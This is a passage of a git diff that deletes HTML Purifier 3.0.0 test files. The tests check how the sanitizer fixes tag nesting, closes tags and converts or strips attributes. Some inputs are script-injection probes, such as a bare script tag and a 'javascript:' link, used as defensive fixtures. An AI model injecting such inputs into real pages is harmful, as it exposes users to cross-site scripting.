$this->assertResult('<table><tr></tr><tr></tr></table>', ''); - } - - function testLotsOfCascadingRemovalOfNodes() { - $this->assertResult('<table><tbody><tr></tr><tr></tr></tbody><tr></tr><tr></tr></table>', ''); - } - - function testAdjacentRemovalOfNodeMissingRequiredChildren() { - $this->assertResult('<table></table><table></table>', ''); - } - - function testStrictBlockquoteInHTML401() { - $this->config->set('HTML', 'Doctype', 'HTML 4.01 Strict'); - $this->assertResult('<blockquote>text</blockquote>', '<blockquote><p>text</p></blockquote>'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php deleted file mode 100644 index db5b989..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy/ErrorsHarness.php'; -require_once 'HTMLPurifier/Strategy/FixNesting.php'; - -class HTMLPurifier_Strategy_FixNesting_ErrorsTest extends HTMLPurifier_Strategy_ErrorsHarness -{ - - function getStrategy() { - return new HTMLPurifier_Strategy_FixNesting(); - } - - function testNodeRemoved() { - $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('ul', array(), 1)); - $this->invoke('<ul></ul>'); - } - - function testNodeExcluded() { - $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node excluded'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('a', array(), 2)); - $this->invoke("<a>\n<a></a></a>"); - } - - function testNodeReorganized() { - $this->expectErrorCollection(E_WARNING, 'Strategy_FixNesting: Node reorganized'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); - $this->invoke("<span>Valid<div>Invalid</div></span>"); - } - - function testNoNodeReorganizedForEmptyNode() { - $this->expectNoErrorCollection(); - $this->invoke("<span></span>"); - } - - function testNodeContentsRemoved() { - $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node contents removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); - $this->invoke("<span><div></div></span>"); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php deleted file mode 100644 index a227d6a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php +++ /dev/null @@ -1,86 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/MakeWellFormed.php'; - -class HTMLPurifier_Strategy_MakeWellFormedTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_MakeWellFormed(); - } - - function testEmptyInput() { - $this->assertResult(''); - } - - function testWellFormedInput() { - $this->assertResult('This is <b>bold text</b>.'); - } - - function testUnclosedTagTerminatedByDocumentEnd() { - $this->assertResult( - '<b>Unclosed tag, gasp!', - '<b>Unclosed tag, gasp!</b>' - ); - } - - function testUnclosedTagTerminatedByParentNodeEnd() { - $this->assertResult( - '<b><i>Bold and italic?</b>', - '<b><i>Bold and italic?</i></b>' - ); - } - - function testRemoveStrayClosingTag() { - $this->assertResult( - 'Unused end tags... recycle!</b>', - 'Unused end tags... recycle!' - ); - } - - function testConvertStartToEmpty() { - $this->assertResult( - '<br style="clear:both;">', - '<br style="clear:both;" />' - ); - } - - function testConvertEmptyToStart() { - $this->assertResult( - '<div style="clear:both;" />', - '<div style="clear:both;"></div>' - ); - } - - function testAutoCloseParagraph() { - $this->assertResult( - '<p>Paragraph 1<p>Paragraph 2', - '<p>Paragraph 1</p><p>Paragraph 2</p>' - ); - } - - function testAutoCloseParagraphInsideDiv() { - $this->assertResult( - '<div><p>Paragraphs<p>In<p>A<p>Div</div>', - '<div><p>Paragraphs</p><p>In</p><p>A</p><p>Div</p></div>' - ); - } - - function testAutoCloseListItem() { - $this->assertResult( - '<ol><li>Item 1<li>Item 2</ol>', - '<ol><li>Item 1</li><li>Item 2</li></ol>' - ); - } - - function testAutoCloseColgroup() { - $this->assertResult( - '<table><colgroup><col /><tr></tr></table>', - '<table><colgroup><col /></colgroup><tr></tr></table>' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php deleted file mode 100644 index da20110..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy/ErrorsHarness.php'; -require_once 'HTMLPurifier/Strategy/MakeWellFormed.php'; - -class HTMLPurifier_Strategy_MakeWellFormed_ErrorsTest extends HTMLPurifier_Strategy_ErrorsHarness -{ - - function getStrategy() { - return new HTMLPurifier_Strategy_MakeWellFormed(); - } - - function testUnnecessaryEndTagRemoved() { - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1)); - $this->invoke('</b>'); - } - - function testUnnecessaryEndTagToText() { - $this->config->set('Core', 'EscapeInvalidTags', true); - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1)); - $this->invoke('</b>'); - } - - function testTagAutoClosed() { - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', new HTMLPurifier_Token_Start('b', array(), 1)); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1)); - $this->invoke('<b>Foo<div>Bar</div>'); - } - - function testStrayEndTagRemoved() { - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1)); - $this->invoke('<i></b></i>'); - } - - function testStrayEndTagToText() { - $this->config->set('Core', 'EscapeInvalidTags', true); - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1)); - $this->invoke('<i></b></i>'); - } - - function testTagClosedByElementEnd() { - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', new HTMLPurifier_Token_Start('b', array(), 1)); - $this->invoke('<i><b>Foobar</i>'); - } - - function testTagClosedByDocumentEnd() { - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', new HTMLPurifier_Token_Start('b', array(), 1)); - $this->invoke('<b>Foobar'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php deleted file mode 100644 index 25dbf42..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php +++ /dev/null @@ -1,98 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/MakeWellFormed.php'; - -class HTMLPurifier_Strategy_MakeWellFormed_InjectorTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->config->set('AutoFormat', 'AutoParagraph', true); - $this->config->set('AutoFormat', 'Linkify', true); - generate_mock_once('HTMLPurifier_Injector'); - } - - function testEndNotification() { - $mock = new HTMLPurifier_InjectorMock(); - $mock->skip = false; - $mock->expectAt(0, 'notifyEnd', array(new HTMLPurifier_Token_End('b'))); - $mock->expectAt(1, 'notifyEnd', array(new HTMLPurifier_Token_End('i'))); - $mock->expectCallCount('notifyEnd', 2); - $this->config->set('AutoFormat', 'AutoParagraph', false); - $this->config->set('AutoFormat', 'Linkify', false); - $this->config->set('AutoFormat', 'Custom', array($mock)); - $this->assertResult('<i><b>asdf</b>', '<i><b>asdf</b></i>'); - } - - function testErrorRequiredElementNotAllowed() { - $this->config->set('HTML', 'Allowed', ''); - $this->expectError('Cannot enable AutoParagraph injector because p is not allowed'); - $this->expectError('Cannot enable Linkify injector because a is not allowed'); - $this->assertResult('Foobar'); - } - - function testErrorRequiredAttributeNotAllowed() { - $this->config->set('HTML', 'Allowed', 'a,p'); - $this->expectError('Cannot enable Linkify injector because a.href is not allowed'); - $this->assertResult('<p>http://example.com</p>'); - } - - function testOnlyAutoParagraph() { - $this->assertResult( - 'Foobar', - '<p>Foobar</p>' - ); - } - - function testParagraphWrappingOnlyLink() { - $this->assertResult( - 'http://example.com', - '<p><a href="http://example.com">http://example.com</a></p>' - ); - } - - function testParagraphWrappingNodeContainingLink() { - $this->assertResult( - '<b>http://example.com</b>', - '<p><b><a href="http://example.com">http://example.com</a></b></p>' - ); - } - - function testParagraphWrappingPoorlyFormedNodeContainingLink() { - $this->assertResult( - '<b>http://example.com', - '<p><b><a href="http://example.com">http://example.com</a></b></p>' - ); - } - - function testTwoParagraphsContainingOnlyOneLink() { - $this->assertResult( - "http://example.com\n\nhttp://dev.example.com", - '<p><a href="http://example.com">http://example.com</a></p><p><a href="http://dev.example.com">http://dev.example.com</a></p>' - ); - } - - function testParagraphNextToDivWithLinks() { - $this->assertResult( - 'http://example.com <div>http://example.com</div>', - '<p><a href="http://example.com">http://example.com</a> </p><div><a href="http://example.com">http://example.com</a></div>' - ); - } - - function testRealisticLinkInSentence() { - $this->assertResult( - 'This URL http://example.com is what you need', - '<p>This URL <a href="http://example.com">http://example.com</a> is what you need</p>' - ); - } - - function testParagraphAfterLinkifiedURL() { - $this->assertResult( - "http://google.com\n\n<b>b</b>", - "<p><a href=\"http://google.com\">http://google.com</a></p><p><b>b</b></p>" - ); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php deleted file mode 100644 index 4b397b0..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php +++ /dev/null @@ -1,95 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/RemoveForeignElements.php'; - -class HTMLPurifier_Strategy_RemoveForeignElementsTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_RemoveForeignElements(); - } - - function testBlankInput() { - $this->assertResult(''); - } - - function testPreserveRecognizedElements() { - $this->assertResult('This is <b>bold text</b>.'); - } - - function testRemoveForeignElements() { - $this->assertResult( - '<asdf>Bling</asdf><d href="bang">Bong</d><foobar />', - 'BlingBong' - ); - } - - function testRemoveScriptAndContents() { - $this->assertResult( - '<script>alert();</script>', - '' - ); - } - - function testRemoveStyleAndContents() { - $this->assertResult( - '<style>.foo {blink;}</style>', - '' - ); - } - - function testRemoveOnlyScriptTagsLegacy() { - $this->config->set('Core', 'RemoveScriptContents', false); - $this->assertResult( - '<script>alert();</script>', - 'alert();' - ); - } - - function testRemoveOnlyScriptTags() { - $this->config->set('Core', 'HiddenElements', array()); - $this->assertResult( - '<script>alert();</script>', - 'alert();' - ); - } - - function testRemoveInvalidImg() { - $this->assertResult('<img />', ''); - } - - function testPreserveValidImg() { - $this->assertResult('<img src="foobar.gif" alt="foobar.gif" />'); - } - - function testPreserveInvalidImgWhenRemovalIsDisabled() { - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult('<img />'); - } - - function testTextifyCommentedScriptContents() { - $this->config->set('HTML', 'Trusted', true); - $this->config->set('Output', 'CommentScriptContents', false); // simplify output - $this->assertResult( -'<script type="text/javascript"><!-- -alert(<b>bold</b>); -// --></script>', -'<script type="text/javascript"> -alert(&lt;b&gt;bold&lt;/b&gt;); -// </script>' - ); - } - - function testRequiredAttributesTestNotPerformedOnEndTag() { - $this->config->set('HTML', 'DefinitionID', - 'HTMLPurifier_Strategy_RemoveForeignElementsTest'. - '->testRequiredAttributesTestNotPerformedOnEndTag'); - $def =& $this->config->getHTMLDefinition(true); - $def->addElement('f', 'Block', 'Optional: #PCDATA', false, array('req*' => 'Text')); - $this->assertResult('<f req="text">Foo</f> Bar'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php deleted file mode 100644 index 5843b72..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php +++ /dev/null @@ -1,59 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Strategy/ErrorsHarness.php'; -require_once 'HTMLPurifier/Strategy/RemoveForeignElements.php'; - -class HTMLPurifier_Strategy_RemoveForeignElements_ErrorsTest extends HTMLPurifier_Strategy_ErrorsHarness -{ - - function setup() { - parent::setup(); - $this->config->set('HTML', 'TidyLevel', 'heavy'); - } - - function getStrategy() { - return new HTMLPurifier_Strategy_RemoveForeignElements(); - } - - function testTagTransform() { - $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', 'center'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array('style' => 'text-align:center;'), 1)); - $this->invoke('<center>'); - } - - function testMissingRequiredAttr() { - // a little fragile, since img has two required attributes - $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', 'alt'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Empty('img', array(), 1)); - $this->invoke('<img />'); - } - - function testForeignElementToText() { - $this->config->set('Core', 'EscapeInvalidTags', true); - $this->expectErrorCollection(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); - $this->invoke('<invalid>'); - } - - function testForeignElementRemoved() { - // uses $CurrentToken.Serialized - $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); - $this->invoke('<invalid>'); - } - - function testCommentRemoved() { - $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); - $this->invoke('<!-- test -->'); - } - - function testForeignMetaElementRemoved() { - $this->collector->expectAt(0, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed')); - $this->collector->expectContextAt(0, 'CurrentToken', new HTMLPurifier_Token_Start('script', array(), 1)); - $this->collector->expectAt(1, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', 'script')); - $this->invoke('<script>asdf'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php deleted file mode 100644 index 8071d2a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -require_once 'HTMLPurifier/StrategyHarness.php'; -require_once 'HTMLPurifier/Strategy/RemoveForeignElements.php'; - -class HTMLPurifier_Strategy_RemoveForeignElements_TidyTest - extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_RemoveForeignElements(); - $this->config->set('HTML', 'TidyLevel', 'heavy'); - } - - function testCenterTransform() { - $this->assertResult( - '<center>Look I am Centered!</center>', - '<div style="text-align:center;">Look I am Centered!</div>' - ); - } - - function testFontTransform() { - $this->assertResult( - '<font color="red" face="Arial" size="6">Big Warning!</font>', - '<span style="color:red;font-family:Arial;font-size:xx-large;">Big'. - ' Warning!</span>' - ); - } - - function testTransformToForbiddenElement() { - $this->config->set('HTML', 'Allowed', 'div'); - $this->assertResult( - '<font color="red" face="Arial" size="6">Big Warning!</font>', - 'Big Warning!' - ); - } - - function testMenuTransform() { - $this->assertResult( - '<menu><li>Item 1</li></menu>', - '<ul><li>Item 1</li></ul>' - ); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php deleted file mode 100644 index 2535942..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php +++ /dev/null @@ -1,185 +0,0 @@ -<?php - -require_once('HTMLPurifier/StrategyHarness.php'); -require_once('HTMLPurifier/Strategy/ValidateAttributes.php'); - -class HTMLPurifier_Strategy_ValidateAttributesTest extends - HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_ValidateAttributes(); - } - - function testEmptyInput() { - $this->assertResult(''); - } - - function testRemoveIDByDefault() { - $this->assertResult( - '<div id="valid">Kill the ID.</div>', - '<div>Kill the ID.</div>' - ); - } - - function testRemoveInvalidDir() { - $this->assertResult( - '<span dir="up-to-down">Bad dir.</span>', - '<span>Bad dir.</span>' - ); - } - - function testPreserveValidClass() { - $this->assertResult('<div class="valid">Valid</div>'); - } - - function testSelectivelyRemoveInvalidClasses() { - $this->assertResult( - '<div class="valid 0invalid">Keep valid.</div>', - '<div class="valid">Keep valid.</div>' - ); - } - - function testPreserveTitle() { - $this->assertResult( - '<acronym title="PHP: Hypertext Preprocessor">PHP</acronym>' - ); - } - - function testAddXMLLang() { - $this->assertResult( - '<span lang="fr">La soupe.</span>', - '<span lang="fr" xml:lang="fr">La soupe.</span>' - ); - } - - function testOnlyXMLLangInXHTML11() { - $this->config->set('HTML', 'Doctype', 'XHTML 1.1'); - $this->assertResult( - '<b lang="en">asdf</b>', - '<b xml:lang="en">asdf</b>' - ); - } - - function testBasicURI() { - $this->assertResult('<a href="http://www.google.com/">Google</a>'); - } - - function testInvalidURI() { - $this->assertResult( - '<a href="javascript:badstuff();">Google</a>', - '<a>Google</a>' - ); - } - - function testBdoAddMissingDir() { - $this->assertResult( - '<bdo>Go left.</bdo>', - '<bdo dir="ltr">Go left.</bdo>' - ); - } - - function testBdoReplaceInvalidDirWithDefault() { - $this->assertResult( - '<bdo dir="blahblah">Invalid value!</bdo>', - '<bdo dir="ltr">Invalid value!</bdo>' - ); - } - - function testBdoAlternateDefaultDir() { - $this->config->set('Attr', 'DefaultTextDir', 'rtl'); - $this->assertResult( - '<bdo>Go right.</bdo>', - '<bdo dir="rtl">Go right.</bdo>' - ); - } - - function testRemoveDirWhenNotRequired() { - $this->assertResult( - '<span dir="blahblah">Invalid value!</span>', - '<span>Invalid value!</span>' - ); - } - - function testTableAttributes() { - $this->assertResult( -'<table frame="above" rules="rows" summary="A test table" border="2" cellpadding="5%" cellspacing="3" width="100%"> - <col align="right" width="4*" /> - <col charoff="5" align="char" width="*" /> - <tr valign="top"> - <th abbr="name">Fiddly name</th> - <th abbr="price">Super-duper-price</th> - </tr> - <tr> - <td abbr="carrot">Carrot Humungous</td> - <td>$500.23</td> - </tr> - <tr> - <td colspan="2">Taken off the market</td> - </tr> -</table>' - ); - } - - function testColSpanIsNonZero() { - $this->assertResult( - '<col span="0" />', - '<col />' - ); - } - - function testImgAddDefaults() { - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult( - '<img />', - '<img src="" alt="Invalid image" />' - ); - } - - function testImgGenerateAlt() { - $this->assertResult( - '<img src="foobar.jpg" />', - '<img src="foobar.jpg" alt="foobar.jpg" />' - ); - } - - function testImgAddDefaultSrc() { - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult( - '<img alt="pretty picture" />', - '<img alt="pretty picture" src="" />' - ); - } - - function testImgRemoveNonRetrievableProtocol() { - $this->config->set('Core', 'RemoveInvalidImg', false); - $this->assertResult( - '<img src="mailto:foo@example.com" />', - '<img alt="mailto:foo@example.com" src="" />' - ); - } - - function testPreserveRel() { - $this->config->set('Attr', 'AllowedRel', 'nofollow'); - $this->assertResult('<a href="foo" rel="nofollow" />'); - } - - function testPreserveTarget() { - $this->config->set('Attr', 'AllowedFrameTargets', '_top'); - $this->config->set('HTML', 'Doctype', 'XHTML 1.0 Transitional'); - $this->assertResult('<a href="foo" target="_top" />'); - } - - function testRemoveTargetWhenNotSupported() { - $this->config->set('HTML', 'Doctype', 'XHTML 1.0 Strict'); - $this->config->set('Attr', 'AllowedFrameTargets', '_top'); - $this->assertResult( - '<a href="foo" target="_top" />', - '<a href="foo" />' - ); - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php deleted file mode 100644 index d73b0eb..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php +++ /dev/null @@ -1,65 +0,0 @@ -<?php - -require_once('HTMLPurifier/StrategyHarness.php'); -require_once('HTMLPurifier/Strategy/ValidateAttributes.php'); - -class HTMLPurifier_Strategy_ValidateAttributes_IDTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_ValidateAttributes(); - $this->config->set('HTML', 'EnableAttrID', true); - } - - - function testPreserveIDWhenEnabled() { - $this->assertResult('<div id="valid">Preserve the ID.</div>'); - } - - function testRemoveInvalidID() { - $this->assertResult( - '<div id="0invalid">Kill the ID.</div>', - '<div>Kill the ID.</div>' - ); - } - - function testRemoveDuplicateID() { - $this->assertResult( - '<div id="valid">Valid</div><div id="valid">Invalid</div>', - '<div id="valid">Valid</div><div>Invalid</div>' - ); - } - - function testAttributeKeyCaseInsensitivity() { - $this->assertResult( - '<div ID="valid">Convert ID to lowercase.</div>', - '<div id="valid">Convert ID to lowercase.</div>' - ); - } - - function testTrimWhitespace() { - $this->assertResult( - '<div id=" valid ">Trim whitespace.</div>', - '<div id="valid">Trim whitespace.</div>' - ); - } - - function testIDBlacklist() { - $this->config->set('Attr', 'IDBlacklist', array('invalid')); - $this->assertResult( - '<div id="invalid">Invalid</div>', - '<div>Invalid</div>' - ); - } - - function testNameConvertedToID() { - $this->config->set('HTML', 'TidyLevel', 'heavy'); - $this->assertResult( - '<a name="foobar" />', - '<a id="foobar" />' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php deleted file mode 100644 index 1f0e21b..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php +++ /dev/null @@ -1,353 +0,0 @@ -<?php - -require_once('HTMLPurifier/StrategyHarness.php'); -require_once('HTMLPurifier/Strategy/ValidateAttributes.php'); - -class HTMLPurifier_Strategy_ValidateAttributes_TidyTest extends HTMLPurifier_StrategyHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_Strategy_ValidateAttributes(); - $this->config->set('HTML', 'TidyLevel', 'heavy'); - } - - function testConvertCenterAlign() { - $this->assertResult( - '<h1 align="center">Centered Headline</h1>', - '<h1 style="text-align:center;">Centered Headline</h1>' - ); - } - - function testConvertRightAlign() { - $this->assertResult( - '<h1 align="right">Right-aligned Headline</h1>', - '<h1 style="text-align:right;">Right-aligned Headline</h1>' - ); - } - - function testConvertLeftAlign() { - $this->assertResult( - '<h1 align="left">Left-aligned Headline</h1>', - '<h1 style="text-align:left;">Left-aligned Headline</h1>' - ); - } - - function testConvertJustifyAlign() { - $this->assertResult( - '<p align="justify">Justified Paragraph</p>', - '<p style="text-align:justify;">Justified Paragraph</p>' - ); - } - - function testRemoveInvalidAlign() { - $this->assertResult( - '<h1 align="invalid">Invalid Headline</h1>', - '<h1>Invalid Headline</h1>' - ); - } - - function testConvertTableLengths() { - $this->assertResult( - '<td width="5%" height="10" /><th width="10" height="5%" /><hr width="10" height="10" />', - '<td style="width:5%;height:10px;" /><th style="width:10px;height:5%;" /><hr style="width:10px;" />' - ); - } - - function testTdConvertNowrap() { - $this->assertResult( - '<td nowrap />', - '<td style="white-space:nowrap;" />' - ); - } - - function testCaptionConvertAlignLeft() { - $this->assertResult( - '<caption align="left" />', - '<caption style="text-align:left;" />' - ); - } - - function testCaptionConvertAlignRight() { - $this->assertResult( - '<caption align="right" />', - '<caption style="text-align:right;" />' - ); - } - - function testCaptionConvertAlignTop() { - $this->assertResult( - '<caption align="top" />', - '<caption style="caption-side:top;" />' - ); - } - - function testCaptionConvertAlignBottom() { - $this->assertResult( - '<caption align="bottom" />', - '<caption style="caption-side:bottom;" />' - ); - } - - function testCaptionRemoveInvalidAlign() { - $this->assertResult( - '<caption align="nonsense" />', - '<caption />' - ); - } - - function testTableConvertAlignLeft() { - $this->assertResult( - '<table align="left" />', - '<table style="float:left;" />' - ); - } - - function testTableConvertAlignCenter() { - $this->assertResult( - '<table align="center" />', - '<table style="margin-left:auto;margin-right:auto;" />' - ); - } - - function testTableConvertAlignRight() { - $this->assertResult( - '<table align="right" />', - '<table style="float:right;" />' - ); - } - - function testTableRemoveInvalidAlign() { - $this->assertResult( - '<table align="top" />', - '<table />' - ); - } - - function testImgConvertAlignLeft() { - $this->assertResult( - '<img src="foobar.jpg" alt="foobar" align="left" />', - '<img src="foobar.jpg" alt="foobar" style="float:left;" />' - ); - } - - function testImgConvertAlignRight() { - $this->assertResult( - '<img src="foobar.jpg" alt="foobar" align="right" />', - '<img src="foobar.jpg" alt="foobar" style="float:right;" />' - ); - } - - function testImgConvertAlignBottom() { - $this->assertResult( - '<img src="foobar.jpg" alt="foobar" align="bottom" />', - '<img src="foobar.jpg" alt="foobar" style="vertical-align:baseline;" />' - ); - } - - function testImgConvertAlignMiddle() { - $this->assertResult( - '<img src="foobar.jpg" alt="foobar" align="middle" />', - '<img src="foobar.jpg" alt="foobar" style="vertical-align:middle;" />' - ); - } - - function testImgConvertAlignTop() { - $this->assertResult( - '<img src="foobar.jpg" alt="foobar" align="top" />', - '<img src="foobar.jpg" alt="foobar" style="vertical-align:top;" />' - ); - } - - function testImgRemoveInvalidAlign() { - $this->assertResult( - '<img src="foobar.jpg" alt="foobar" align="outerspace" />', - '<img src="foobar.jpg" alt="foobar" />' - ); - } - - function testBorderConvertHVSpace() { - $this->assertResult( - '<img src="foo" alt="foo" hspace="1" vspace="3" />', - '<img src="foo" alt="foo" style="margin-top:3px;margin-bottom:3px;margin-left:1px;margin-right:1px;" />' - ); - } - - function testHrConvertSize() { - $this->assertResult( - '<hr size="3" />', - '<hr style="height:3px;" />' - ); - } - - function testHrConvertNoshade() { - $this->assertResult( - '<hr noshade />', - '<hr style="color:#808080;background-color:#808080;border:0;" />' - ); - } - - function testHrConvertAlignLeft() { - $this->assertResult( - '<hr align="left" />', - '<hr style="margin-left:0;margin-right:auto;text-align:left;" />' - ); - } - - function testHrConvertAlignCenter() { - $this->assertResult( - '<hr align="center" />', - '<hr style="margin-left:auto;margin-right:auto;text-align:center;" />' - ); - } - - function testHrConvertAlignRight() { - $this->assertResult( - '<hr align="right" />', - '<hr style="margin-left:auto;margin-right:0;text-align:right;" />' - ); - } - - function testHrRemoveInvalidAlign() { - $this->assertResult( - '<hr align="bottom" />', - '<hr />' - ); - } - - function testBrConvertClearLeft() { - $this->assertResult( - '<br clear="left" />', - '<br style="clear:left;" />' - ); - } - - function testBrConvertClearRight() { - $this->assertResult( - '<br clear="right" />', - '<br style="clear:right;" />' - ); - } - - function testBrConvertClearAll() { - $this->assertResult( - '<br clear="all" />', - '<br style="clear:both;" />' - ); - } - - function testBrConvertClearNone() { - $this->assertResult( - '<br clear="none" />', - '<br style="clear:none;" />' - ); - } - - function testBrRemoveInvalidClear() { - $this->assertResult( - '<br clear="foo" />', - '<br />' - ); - } - - function testUlConvertTypeDisc() { - $this->assertResult( - '<ul type="disc" />', - '<ul style="list-style-type:disc;" />' - ); - } - - function testUlConvertTypeSquare() { - $this->assertResult( - '<ul type="square" />', - '<ul style="list-style-type:square;" />' - ); - } - - function testUlConvertTypeCircle() { - $this->assertResult( - '<ul type="circle" />', - '<ul style="list-style-type:circle;" />' - ); - } - - function testUlConvertTypeCaseInsensitive() { - $this->assertResult( - '<ul type="CIRCLE" />', - '<ul style="list-style-type:circle;" />' - ); - } - - function testUlRemoveInvalidType() { - $this->assertResult( - '<ul type="a" />', - '<ul />' - ); - } - - function testOlConvertType1() { - $this->assertResult( - '<ol type="1" />', - '<ol style="list-style-type:decimal;" />' - ); - } - - function testOlConvertTypeLowerI() { - $this->assertResult( - '<ol type="i" />', - '<ol style="list-style-type:lower-roman;" />' - ); - } - - function testOlConvertTypeUpperI() { - $this->assertResult( - '<ol type="I" />', - '<ol style="list-style-type:upper-roman;" />' - ); - } - - function testOlConvertTypeLowerA() { - $this->assertResult( - '<ol type="a" />', - '<ol 